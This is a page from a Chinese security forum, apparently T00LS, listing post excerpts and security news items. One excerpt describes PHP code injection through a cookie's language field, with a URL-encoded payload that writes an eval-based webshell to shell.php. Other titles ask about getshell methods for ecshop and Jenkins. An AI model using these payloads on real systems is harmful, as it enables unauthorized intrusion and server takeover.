T00LS | 低调求发展 - 潜心习安全

抓包找到cookie的language的值修改为xxxx_xxxx_language=sc\'.phpinfo().\'，成功执行了phpinfo在getshell的时候发现根目录无法写入payload：%27.%2Bfile_put_contents%28%27shell.php%27%2Curldecode%28%27%253C%253Fphp%2520eval%2528%2524_POST%255B%25221%2522%255D%2529%253B%253F%253E%27%29%29.%27执行sc\'.system(ls).\'; 发现根目录没有写入文件，即使写入随便其他内容也是写入不了，尝试写入其他目录，但是因为目录中有斜杠 ...

投稿文章：某知名公司从Gitlab泄露到拿下服务器root权限

2019-12-14 15:57:19 2 96

渗透中实战可用的可拿权限的远程溢出漏洞有哪些？

2019-12-14 13:06:23 12 316

求助 echsop4.0后台getshell方法

2019-12-14 11:42:29 7 157

投稿文章：sql注入篇简单技术

2019-12-14 11:36:31 0 42

jenkins如何部署webshell？

2019-12-14 10:50:24 9 144

关于Z3约束器求解速度的疑问

2019-12-14 00:10:35 0 73

安全资讯

新闻资讯回复0次

微软警告 GALLIUM 黑客组织瞄准全球电信供应商

GALLIUM 的行为表现活跃，尤其是2018年至2019年间格外明显。而攻击者一旦破坏了目标网络，他们将会使用常见的科技手段如Mimikatz来窃取可用的凭证。专家指出，目前GALLIUM 正在使用一些版本常见的软件以及公开化的一些工具，这工具只需稍作改动，就可以逃避检测。运营商利用低成本和易于替换的基础设施，使用动态DNS域和定 ...

2019-12-14 13:54:12 0 73

新闻资讯回复0次

VISA警告针对加油站PoS系统的持续性网络攻击

根据VISA发布的安全警报，北美汽油供应商的POS系统正日益受到网络犯罪集团协调的攻击的威胁。根据Visa Payment Fraud Disruption（PFD）的数据，在2019年夏季，发现了三起针对组织的此类攻击，其最终目的是窃取支付卡数据。该警报是继11月发出的警告之后的又一警告，该警告还提到，这些商家成为目标其原因在于“他们缺乏安 ...

2019-12-14 01:15:52 0 84

新闻资讯回复5次

Elasticsearch27亿数据泄露 10亿明文波及中国大厂

研究人员称，过去一年里，一些企业无意识得让他们的Amazon Web服务S3和基于云计算的ElasticSearch存储桶暴露出来。它们没有任何适当的安全措施，也没有被试图锁定的迹象。SecurityDiscovery网站的网络威胁情报总监鲍勃·迪亚琴科（Bob Diachenko）称，我们在上周发现了一个巨大的ElasticSearch数据库，包含超过27亿个电邮地 ...

2019-12-13 14:31:08 5 239

新闻资讯回复0次

非法侵权采集：500多个影视网站被关停

因非法侵权采集电影电视剧“91资源”团伙被警方捣毁，关停侵权影视网站 500 余个，抓捕涉案人员 18 名。了解到，“91资源”运营的三个电影站影片资源非常丰富，采集的电影电视剧高达10万余部，他们利用插件批量采集工具将大量刚上映电影电视剧等视频资源采集到自己的电影网站上，供用户免费观看，然后借助QQ群和其他平台进 ...

2019-12-13 09:31:08 0 288

新闻资讯回复5次

安全研究人员发现亚马逊上销售的儿童智能手表存在严重安全漏洞

安全公司Rapid7披露了在亚马逊上出售的三款儿童智能手表存在安全漏洞，这三款儿童智能手表是Duiwoim，Jsbaby和Smarturtle，价格不到40美元。它们被用作跟踪设备，以跟踪孩子并允许父母向孩子发送消息或者打电话。　　但是Rapid7的安全研究人员发现，与佩戴手表的孩子保持联系的不仅仅是父母，因为它们内建的过滤器本来只允 ...

2019-12-13 08:13:57 5 126

新闻资讯回复1次

智能汽车如何应对信息安全新挑战

从1886年诞生至今，汽车已有130多年的历史。诞生之初，汽车只是被当作方便出行的交通工具，让人没想到的是如今它却和IT技术有如此紧密的结合，成为万物互联版图中的一员。近几年，汽车被远程攻击的事件层出不穷，车联网的安全形势日益严峻。车越智能化威胁点就越多“万物均可互联，一切皆可编程”。如今，物理世界和虚拟世 ...

2019-12-12 10:52:03 1 137